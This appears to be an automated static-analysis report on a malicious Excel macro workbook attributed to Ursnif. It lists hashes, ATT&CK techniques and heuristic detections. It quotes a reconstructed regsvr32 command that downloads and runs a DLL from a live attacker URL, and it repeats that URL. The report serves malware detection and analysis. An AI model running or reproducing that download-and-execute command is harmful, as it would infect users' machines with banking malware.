Ursnif — Office (OOXML) / .XLSM malware analysis

Static analysis result for SHA-256 12f1ea509d52a969…

MALICIOUS

Office (OOXML) / .XLSM

180.1 KB Created: 2006-09-16 00:00:00 UTC Authoring application: Microsoft Excel 15.0300
MD5: 46e109a17c6911b360657707f182f373 SHA-1: 2c4d88bdc88b88a4a4f3ee0a34191188c75f710c SHA-256: 12f1ea509d52a9695408a73bcf71ddd24f8a4faee2a99798a63b22ce2fbf73dc
282 Risk Score

Malware Insights

Ursnif · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1218.010 System Binary Proxy Execution: Regsvr32 T1105 Ingress Tool Transfer

This XLSM file contains Excel 4.0 macros, specifically an Auto_Open defined name, which is a strong indicator of malicious intent. The macros utilize dangerous functions like RUN and CALL, and the document body contains a command that reconstructs to 'regsvr32 C:\ Progr amDa ocx http://premialestats.co/con3cti0n.dll ta\component'. This command indicates an attempt to download and execute a DLL from the provided URL, consistent with the Ursnif family's known behavior of dropping second-stage payloads.

Heuristics 6

  • Excel 4.0 macro sheet (1 sheet(s)) critical OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: RUN, CALL, EXEC, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • ClamAV: Doc.Dropper.UrsnifIT1220-9803735-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.UrsnifIT1220-9803735-0
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://premialestats.co/con3cti0n.dll
    • http://schemas.openxmlformats.org/spreadsheetml/2006/main
    • http://schemas.microsoft.com/office/excel/2006/main
    • http://schemas.openxmlformats.org/officeDocument/2006/relationships
    • http://schemas.openxmlformats.org/markup-compatibility/2006
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml
08e89bb5e3bf9ca6272235c44f807d3fd9a0affb6bbee65d7e1533f009d5a514		 xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet1.xml 947196 bytes

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